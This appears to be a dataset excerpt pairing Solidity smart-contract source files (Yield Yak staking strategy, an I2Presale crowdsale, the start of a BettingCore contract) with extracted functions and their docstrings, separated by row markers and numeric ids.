* @param depositor address
*/
function removeDepositor(address depositor) external onlyOwner {
require(numberOfAllowedDepositors > 0, "Permissioned::removeDepositor, no allowed depositors");
require(allowedDepositors[depositor] == true, "Permissioned::removeDepositor, not allowed");
allowedDepositors[depositor] = false;
numberOfAllowedDepositors = numberOfAllowedDepositors.sub(1);
emit RemoveDepositor(depositor);
}
}
// File contracts/interfaces/IERC20.sol
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/YakERC20.sol
abstract contract YakERC20 {
using SafeMath for uint256;
string public name = "Yield Yak";
string public symbol = "YRT";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => mapping (address => uint256)) internal allowances;
mapping (address => uint256) internal balances;
bytes32 public constant DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 public constant VERSION_HASH = 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6;
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() {}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* It is recommended to use increaseAllowance and decreaseAllowance instead
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool) {
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool) {
address spender = msg.sender;
uint256 spenderAllowance = allowances[src][spender];
if (spender != src && spenderAllowance != uint256(-1)) {
uint256 newAllowance = spenderAllowance.sub(amount, "transferFrom: transfer amount exceeds allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Approval implementation
* @param owner The address of the account which owns tokens
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (2^256-1 means infinite)
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "_approve::owner zero address");
require(spender != address(0), "_approve::spender zero address");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Transfer implementation
* @param from The address of the account which owns tokens
* @param to The address of the account which is receiving tokens
* @param value The number of tokens that are being transferred
*/
function _transferTokens(address from, address to, uint256 value) internal {
require(to != address(0), "_transferTokens: cannot transfer to the zero address");
balances[from] = balances[from].sub(value, "_transferTokens: transfer exceeds from balance");
balances[to] = balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balances[to] = balances[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balances[from] = balances[from].sub(value, "_burn: burn amount exceeds from balance");
totalSupply = totalSupply.sub(value, "_burn: burn amount exceeds total supply");
emit Transfer(from, address(0), value);
}
/**
* @notice Triggers an approval from owner to spender
* @param owner The address to approve from
* @param spender The address to be approved
* @param value The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, "permit::expired");
bytes32 encodeData = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
_validateSignedData(owner, encodeData, v, r, s);
_approve(owner, spender, value);
}
/**
* @notice Recovers address from signed data and validates the signature
* @param signer Address that signed the data
* @param encodeData Data signed by the address
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function _validateSignedData(address signer, bytes32 encodeData, uint8 v, bytes32 r, bytes32 s) internal view {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
getDomainSeparator(),
encodeData
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
// Explicitly disallow authorizations for address(0) as ecrecover returns address(0) on malformed messages
require(recoveredAddress != address(0) && recoveredAddress == signer, "Arch::validateSig: invalid signature");
}
/**
* @notice EIP-712 Domain separator
* @return Separator
*/
function getDomainSeparator() public view returns (bytes32) {
return keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
VERSION_HASH,
_getChainId(),
address(this)
)
);
}
/**
* @notice Current id of the chain where this contract is deployed
* @return Chain id
*/
function _getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File contracts/YakStrategy.sol
/**
* @notice YakStrategy should be inherited by new strategies
*/
abstract contract YakStrategy is YakERC20, Ownable, Permissioned {
using SafeMath for uint;
uint public totalDeposits;
IERC20 public depositToken;
IERC20 public rewardToken;
address public devAddr;
uint public MIN_TOKENS_TO_REINVEST;
uint public MAX_TOKENS_TO_DEPOSIT_WITHOUT_REINVEST;
bool public DEPOSITS_ENABLED;
uint public REINVEST_REWARD_BIPS;
uint public ADMIN_FEE_BIPS;
uint public DEV_FEE_BIPS;
uint constant internal BIPS_DIVISOR = 10000;
uint constant internal MAX_UINT = uint(-1);
event Deposit(address indexed account, uint amount);
event Withdraw(address indexed account, uint amount);
event Reinvest(uint newTotalDeposits, uint newTotalSupply);
event Recovered(address token, uint amount);
event UpdateAdminFee(uint oldValue, uint newValue);
event UpdateDevFee(uint oldValue, uint newValue);
event UpdateReinvestReward(uint oldValue, uint newValue);
event UpdateMinTokensToReinvest(uint oldValue, uint newValue);
event UpdateMaxTokensToDepositWithoutReinvest(uint oldValue, uint newValue);
event UpdateDevAddr(address oldValue, address newValue);
event DepositsEnabled(bool newValue);
/**
* @notice Throws if called by smart contract
*/
modifier onlyEOA() {
require(tx.origin == msg.sender, "YakStrategy::onlyEOA");
_;
}
/**
* @notice Approve tokens for use in Strategy
* @dev Should use modifier `onlyOwner` to avoid griefing
*/
function setAllowances() public virtual;
/**
* @notice Revoke token allowance
* @param token address
* @param spender address
*/
function revokeAllowance(address token, address spender) external onlyOwner {
require(IERC20(token).approve(spender, 0));
}
/**
* @notice Deposit and deploy deposits tokens to the strategy
* @dev Must mint receipt tokens to `msg.sender`
* @param amount deposit tokens
*/
function deposit(uint amount) external virtual;
/**
* @notice Deposit using Permit
* @dev Should revert for tokens without Permit
* @param amount Amount of tokens to deposit
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function depositWithPermit(uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external virtual;
/**
* @notice Deposit on behalf of another account
* @dev Must mint receipt tokens to `account`
* @param account address to receive receipt tokens
* @param amount deposit tokens
*/
function depositFor(address account, uint amount) external virtual;
/**
* @notice Redeem receipt tokens for deposit tokens
* @param amount receipt tokens
*/
function withdraw(uint amount) external virtual;
/**
* @notice Reinvest reward tokens into deposit tokens
*/
function reinvest() external virtual;
/**
* @notice Estimate reinvest reward
* @return reward tokens
*/
function estimateReinvestReward() external view returns (uint) {
uint unclaimedRewards = checkReward();
if (unclaimedRewards >= MIN_TOKENS_TO_REINVEST) {
return unclaimedRewards.mul(REINVEST_REWARD_BIPS).div(BIPS_DIVISOR);
}
return 0;
}
/**
* @notice Reward tokens avialable to strategy, including balance
* @return reward tokens
*/
function checkReward() public virtual view returns (uint);
/**
* @notice Estimated deposit token balance deployed by strategy, excluding balance
* @return deposit tokens
*/
function estimateDeployedBalance() external virtual view returns (uint);
/**
* @notice Rescue all available deployed deposit tokens back to Strategy
* @param minReturnAmountAccepted min deposit tokens to receive
* @param disableDeposits bool
*/
function rescueDeployedFunds(uint minReturnAmountAccepted, bool disableDeposits) external virtual;
/**
* @notice Calculate receipt tokens for a given amount of deposit tokens
* @dev If contract is empty, use 1:1 ratio
* @dev Could return zero shares for very low amounts of deposit tokens
* @param amount deposit tokens
* @return receipt tokens
*/
function getSharesForDepositTokens(uint amount) public view returns (uint) {
if (totalSupply.mul(totalDeposits) == 0) {
return amount;
}
return amount.mul(totalSupply).div(totalDeposits);
}
/**
* @notice Calculate deposit tokens for a given amount of receipt tokens
* @param amount receipt tokens
* @return deposit tokens
*/
function getDepositTokensForShares(uint amount) public view returns (uint) {
if (totalSupply.mul(totalDeposits) == 0) {
return 0;
}
return amount.mul(totalDeposits).div(totalSupply);
}
/**
* @notice Update reinvest min threshold
* @param newValue threshold
*/
function updateMinTokensToReinvest(uint newValue) public onlyOwner {
emit UpdateMinTokensToReinvest(MIN_TOKENS_TO_REINVEST, newValue);
MIN_TOKENS_TO_REINVEST = newValue;
}
/**
* @notice Update reinvest max threshold before a deposit
* @param newValue threshold
*/
function updateMaxTokensToDepositWithoutReinvest(uint newValue) public onlyOwner {
emit UpdateMaxTokensToDepositWithoutReinvest(MAX_TOKENS_TO_DEPOSIT_WITHOUT_REINVEST, newValue);
MAX_TOKENS_TO_DEPOSIT_WITHOUT_REINVEST = newValue;
}
/**
* @notice Update developer fee
* @param newValue fee in BIPS
*/
function updateDevFee(uint newValue) public onlyOwner {
require(newValue.add(ADMIN_FEE_BIPS).add(REINVEST_REWARD_BIPS) <= BIPS_DIVISOR);
emit UpdateDevFee(DEV_FEE_BIPS, newValue);
DEV_FEE_BIPS = newValue;
}
/**
* @notice Update admin fee
* @param newValue fee in BIPS
*/
function updateAdminFee(uint newValue) public onlyOwner {
require(newValue.add(DEV_FEE_BIPS).add(REINVEST_REWARD_BIPS) <= BIPS_DIVISOR);
emit UpdateAdminFee(ADMIN_FEE_BIPS, newValue);
ADMIN_FEE_BIPS = newValue;
}
/**
* @notice Update reinvest reward
* @param newValue fee in BIPS
*/
function updateReinvestReward(uint newValue) public onlyOwner {
require(newValue.add(ADMIN_FEE_BIPS).add(DEV_FEE_BIPS) <= BIPS_DIVISOR);
emit UpdateReinvestReward(REINVEST_REWARD_BIPS, newValue);
REINVEST_REWARD_BIPS = newValue;
}
/**
* @notice Enable/disable deposits
* @param newValue bool
*/
function updateDepositsEnabled(bool newValue) public onlyOwner {
require(DEPOSITS_ENABLED != newValue);
DEPOSITS_ENABLED = newValue;
emit DepositsEnabled(newValue);
}
/**
* @notice Update devAddr
* @param newValue address
*/
function updateDevAddr(address newValue) public {
require(msg.sender == devAddr);
emit UpdateDevAddr(devAddr, newValue);
devAddr = newValue;
}
/**
* @notice Recover ERC20 from contract
* @param tokenAddress token address
* @param tokenAmount amount to recover
*/
function recoverERC20(address tokenAddress, uint tokenAmount) external onlyOwner {
require(tokenAmount > 0);
require(IERC20(tokenAddress).transfer(msg.sender, tokenAmount));
emit Recovered(tokenAddress, tokenAmount);
}
/**
* @notice Recover AVAX from contract
* @param amount amount
*/
function recoverAVAX(uint amount) external onlyOwner {
require(amount > 0);
msg.sender.transfer(amount);
emit Recovered(address(0), amount);
}
}
// File contracts/interfaces/ILydiaChef.sol
interface ILydiaChef {
function lyd() external view returns (address);
function electrum() external view returns (address);
function lydPerSec() external view returns (uint256);
function totalAllocPoint() external view returns (uint256);
function startTimestamp() external view returns (uint256);
function poolLength() external view returns (uint256);
function add(uint256 _allocPoint, address _lpToken, bool _withUpdate) external;
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) external;
function getMultiplier(uint256 _from, uint256 _to) external view returns (uint256);
function pendingLyd(uint256 _pid, address _user) external view returns (uint256);
function massUpdatePools() external;
function updatePool(uint256 _pid) external;
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function enterStaking(uint256 _amount) external;
function leaveStaking(uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
function dev(address _devaddr) external;
function updateEmissionRate(uint256 _lydPerSec) external;
function poolInfo(uint pid) external view returns (
address lpToken,
uint allocPoint,
uint lastRewardTimestamp,
uint accLydPerShare
);
function userInfo(uint pid, address user) external view returns (
uint256 amount,
uint256 rewardDebt
);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event SetDevAddress(address indexed user, address indexed newAddress);
event UpdateEmissionRate(address indexed user, uint256 _lydPerSec);
}
// File contracts/interfaces/IRouter.sol
interface IRouter {
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityAVAX(address token, uint amountTokenDesired, uint amountTokenMin, uint amountAVAXMin, address to, uint deadline) external payable returns (uint amountToken, uint amountAVAX, uint liquidity);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityAVAX(address token, uint liquidity, uint amountTokenMin, uint amountAVAXMin, address to, uint deadline) external returns (uint amountToken, uint amountAVAX);
function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityAVAXWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountAVAXMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountAVAX);
function removeLiquidityAVAXSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountAVAXMin, address to, uint deadline) external returns (uint amountAVAX);
function removeLiquidityAVAXWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountAVAXMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountAVAX);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactAVAXForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function swapTokensForExactAVAX(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactTokensForAVAX(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapAVAXForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external;
function swapExactAVAXForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForAVAXSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] memory path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts);
}
// File contracts/interfaces/IPair.sol
interface IPair is IERC20 {
function token0() external pure returns (address);
function token1() external pure returns (address);
}
// File contracts/strategies/LydiaStrategyForLPa.sol
/**
* @notice Token0 strategy for Lydia Farms
*/
contract LydiaStrategyForLPa is YakStrategy {
using SafeMath for uint;
IRouter public router;
ILydiaChef public stakingContract;
address private constant WAVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;
uint public PID;
constructor(
string memory _name,
address _depositToken,
address _rewardToken,
address _stakingContract,
address _router,
address _timelock,
uint _pid,
uint _minTokensToReinvest,
uint _adminFeeBips,
uint _devFeeBips,
uint _reinvestRewardBips
) {
name = _name;
depositToken = IPair(_depositToken);
rewardToken = IERC20(_rewardToken);
stakingContract = ILydiaChef(_stakingContract);
router = IRouter(_router);
PID = _pid;
devAddr = msg.sender;
setAllowances();
updateMinTokensToReinvest(_minTokensToReinvest);
updateAdminFee(_adminFeeBips);
updateDevFee(_devFeeBips);
updateReinvestReward(_reinvestRewardBips);
updateDepositsEnabled(true);
transferOwnership(_timelock);
emit Reinvest(0, 0);
}
/**
* @notice Approve tokens for use in Strategy
* @dev Restricted to avoid griefing attacks
*/
function setAllowances() public override onlyOwner {
depositToken.approve(address(stakingContract), MAX_UINT);
rewardToken.approve(address(router), MAX_UINT);
IERC20(IPair(address(depositToken)).token0()).approve(address(router), MAX_UINT);
IERC20(IPair(address(depositToken)).token1()).approve(address(router), MAX_UINT);
}
/**
* @notice Deposit tokens to receive receipt tokens
* @param amount Amount of tokens to deposit
*/
function deposit(uint amount) external override {
_deposit(msg.sender, amount);
}
/**
* @notice Deposit using Permit
* @param amount Amount of tokens to deposit
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function depositWithPermit(uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
depositToken.permit(msg.sender, address(this), amount, deadline, v, r, s);
_deposit(msg.sender, amount);
}
function depositFor(address account, uint amount) external override {
_deposit(account, amount);
}
function _deposit(address account, uint amount) internal {
require(DEPOSITS_ENABLED == true, "LydiaStrategyForLP::_deposit");
if (MAX_TOKENS_TO_DEPOSIT_WITHOUT_REINVEST > 0) {
uint unclaimedRewards = checkReward();
if (unclaimedRewards > MAX_TOKENS_TO_DEPOSIT_WITHOUT_REINVEST) {
_reinvest(unclaimedRewards);
}
}
require(depositToken.transferFrom(msg.sender, address(this), amount));
_stakeDepositTokens(amount);
_mint(account, getSharesForDepositTokens(amount));
totalDeposits = totalDeposits.add(amount);
emit Deposit(account, amount);
}
function withdraw(uint amount) external override {
uint depositTokenAmount = getDepositTokensForShares(amount);
if (depositTokenAmount > 0) {
_withdrawDepositTokens(depositTokenAmount);
require(depositToken.transfer(msg.sender, depositTokenAmount), "LydiaStrategyForLP::withdraw");
_burn(msg.sender, amount);
totalDeposits = totalDeposits.sub(depositTokenAmount);
emit Withdraw(msg.sender, depositTokenAmount);
}
}
function _withdrawDepositTokens(uint amount) private {
require(amount > 0, "LydiaStrategyForLP::_withdrawDepositTokens");
stakingContract.withdraw(PID, amount);
}
function reinvest() external override onlyEOA {
uint unclaimedRewards = checkReward();
require(unclaimedRewards >= MIN_TOKENS_TO_REINVEST, "LydiaStrategyForLP::reinvest");
_reinvest(unclaimedRewards);
}
/**
* @notice Reinvest rewards from staking contract to deposit tokens
* @dev Reverts if the expected amount of tokens are not returned from `stakingContract`
* @param amount deposit tokens to reinvest
*/
function _reinvest(uint amount) private {
stakingContract.deposit(PID, 0);
uint devFee = amount.mul(DEV_FEE_BIPS).div(BIPS_DIVISOR);
if (devFee > 0) {
require(rewardToken.transfer(devAddr, devFee), "LydiaStrategyForLP::_reinvest, dev");
}
uint adminFee = amount.mul(ADMIN_FEE_BIPS).div(BIPS_DIVISOR);
if (adminFee > 0) {
require(rewardToken.transfer(owner(), adminFee), "LydiaStrategyForLP::_reinvest, admin");
}
uint reinvestFee = amount.mul(REINVEST_REWARD_BIPS).div(BIPS_DIVISOR);
if (reinvestFee > 0) {
require(rewardToken.transfer(msg.sender, reinvestFee), "LydiaStrategyForLP::_reinvest, reward");
}
uint depositTokenAmount = _convertRewardTokensToDepositTokens(
amount.sub(devFee).sub(adminFee).sub(reinvestFee)
);
_stakeDepositTokens(depositTokenAmount);
totalDeposits = totalDeposits.add(depositTokenAmount);
emit Reinvest(totalDeposits, totalSupply);
}
function _stakeDepositTokens(uint amount) private {
require(amount > 0, "LydiaStrategyForLP::_stakeDepositTokens");
stakingContract.deposit(PID, amount);
}
function checkReward() public override view returns (uint) {
uint pendingReward = stakingContract.pendingLyd(PID, address(this));
uint contractBalance = rewardToken.balanceOf(address(this));
return pendingReward.add(contractBalance);
}
/**
* @notice Converts reward tokens to deposit tokens
* @dev Always converts through router; there are no price checks enabled
* @return deposit tokens received
*/
function _convertRewardTokensToDepositTokens(uint amount) private returns (uint) {
uint amountIn = amount.div(2);
require(amountIn > 0, "LydiaStrategyForLP::_convertRewardTokensToDepositTokens");
// swap to token0
uint path0Length = 3;
address[] memory path0 = new address[](path0Length);
path0[0] = address(rewardToken);
path0[1] = WAVAX;
path0[2] = IPair(address(depositToken)).token0();
uint amountOutToken0 = amountIn;
if (path0[0] != path0[path0Length - 1]) {
uint[] memory amountsOutToken0 = router.getAmountsOut(amountIn, path0);
amountOutToken0 = amountsOutToken0[amountsOutToken0.length - 1];
router.swapExactTokensForTokens(amountIn, amountOutToken0, path0, address(this), block.timestamp);
}
// swap to token1
uint path1Length = 2;
address[] memory path1 = new address[](path1Length);
path1[0] = path0[0];
path1[1] = IPair(address(depositToken)).token1();
uint amountOutToken1 = amountIn;
if (path1[0] != path1[path1Length - 1]) {
uint[] memory amountsOutToken1 = router.getAmountsOut(amountIn, path1);
amountOutToken1 = amountsOutToken1[amountsOutToken1.length - 1];
router.swapExactTokensForTokens(amountIn, amountOutToken1, path1, address(this), block.timestamp);
}
(,,uint liquidity) = router.addLiquidity(
path0[path0Length - 1], path1[path1Length - 1],
amountOutToken0, amountOutToken1,
0, 0,
address(this),
block.timestamp
);
return liquidity;
}
/**
* @notice Estimate recoverable balance
* @return deposit tokens
*/
function estimateDeployedBalance() external override view returns (uint) {
(uint depositBalance, ) = stakingContract.userInfo(PID, address(this));
return depositBalance;
}
function rescueDeployedFunds(uint minReturnAmountAccepted, bool disableDeposits) external override onlyOwner {
uint balanceBefore = depositToken.balanceOf(address(this));
stakingContract.emergencyWithdraw(PID);
uint balanceAfter = depositToken.balanceOf(address(this));
require(balanceAfter.sub(balanceBefore) >= minReturnAmountAccepted, "LydiaStrategyForLP::rescueDeployedFunds");
totalDeposits = balanceAfter;
emit Reinvest(totalDeposits, totalSupply);
if (DEPOSITS_ENABLED == true && disableDeposits == true) {
updateDepositsEnabled(false);
}
}
}
|
Transfer implementation from The address of the account which owns tokens to The address of the account which is receiving tokens value The number of tokens that are being transferred/
|
function _transferTokens(address from, address to, uint256 value) internal {
require(to != address(0), "_transferTokens: cannot transfer to the zero address");
balances[from] = balances[from].sub(value, "_transferTokens: transfer exceeds from balance");
balances[to] = balances[to].add(value);
emit Transfer(from, to, value);
}
| 914,025 |
//Address: 0xa8df33a40fe2e3278e4d94a974f70778043fbd20
//Contract name: I2Presale
//Balance: 5.845 Ether
//Verification Date: 2/21/2018
//Transacion Count: 30
// CODE STARTS HERE
pragma solidity ^0.4.18;
interface token {
function transfer(address receiver, uint amount) external;
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract I2Presale is Ownable {
using SafeMath for uint256;
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
uint public usd = 1000;
uint public bonus;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constrctor function
*
* Setup the owner
*/
function I2Presale (
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
// how many token units a buyer gets per dollar
uint tokensPerDollar, // $0.1 = 10
// how many token units a buyer gets per wei
// uint etherCostOfEachToken,
uint bonusInPercent,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
// mean set 100-1000 ETH
fundingGoal = fundingGoalInEthers.mul(1 ether);
deadline = now.add(durationInMinutes.mul(1 minutes));
price = 10**18;
price = price.div(tokensPerDollar).div(usd);
// price = etherCostOfEachToken * 1 ether;
// price = etherCostOfEachToken.mul(1 ether).div(1000).mul(usd);
bonus = bonusInPercent;
tokenReward = token(addressOfTokenUsedAsReward);
}
/**
* Change Crowdsale bonus rate
*/
function changeBonus (uint _bonus) public onlyOwner {
bonus = _bonus;
}
/**
* Set USD/ETH rate in USD (1000)
*/
function setUSDPrice (uint _usd) public onlyOwner {
usd = _usd;
}
/**
* Finish Crowdsale in some reason like Goals Reached or etc
*/
function finshCrowdsale () public onlyOwner {
deadline = now;
crowdsaleClosed = true;
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function () public payable {
require(beneficiary != address(0));
require(!crowdsaleClosed);
require(msg.value != 0);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
// bonus in percent
// msg.value.add(msg.value.mul(bonus).div(100));
uint tokensToSend = amount.div(price).mul(10**18);
uint tokenToSendWithBonus = tokensToSend.add(tokensToSend.mul(bonus).div(100));
tokenReward.transfer(msg.sender, tokenToSendWithBonus);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
/**
* Check if goal was reached
*
* Checks if the goal or time limit has been reached and ends the campaign
*/
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
/**
* Withdraw the funds
*
* Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached,
* sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw
* the amount they contributed.
*/
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
//If we fail to send the funds to beneficiary, unlock funders balance
fundingGoalReached = false;
}
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
Fallback function The function without name is the default function that is called whenever anyone sends funds to a contract/ bonus in percent msg.value.add(msg.value.mul(bonus).div(100));
|
function () public payable {
require(beneficiary != address(0));
require(!crowdsaleClosed);
require(msg.value != 0);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
uint tokensToSend = amount.div(price).mul(10**18);
uint tokenToSendWithBonus = tokensToSend.add(tokensToSend.mul(bonus).div(100));
tokenReward.transfer(msg.sender, tokenToSendWithBonus);
FundTransfer(msg.sender, amount, true);
}
| 1,811,493 |
//Address: 0xda76af4064c7723375756a19e9520fa24c5ec737
//Contract name: BettingCore
//Balance: 1 wei
//Verification Date: 3/15/2018
//Transacion Count: 61
// CODE STARTS HERE
pragma solidity 0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
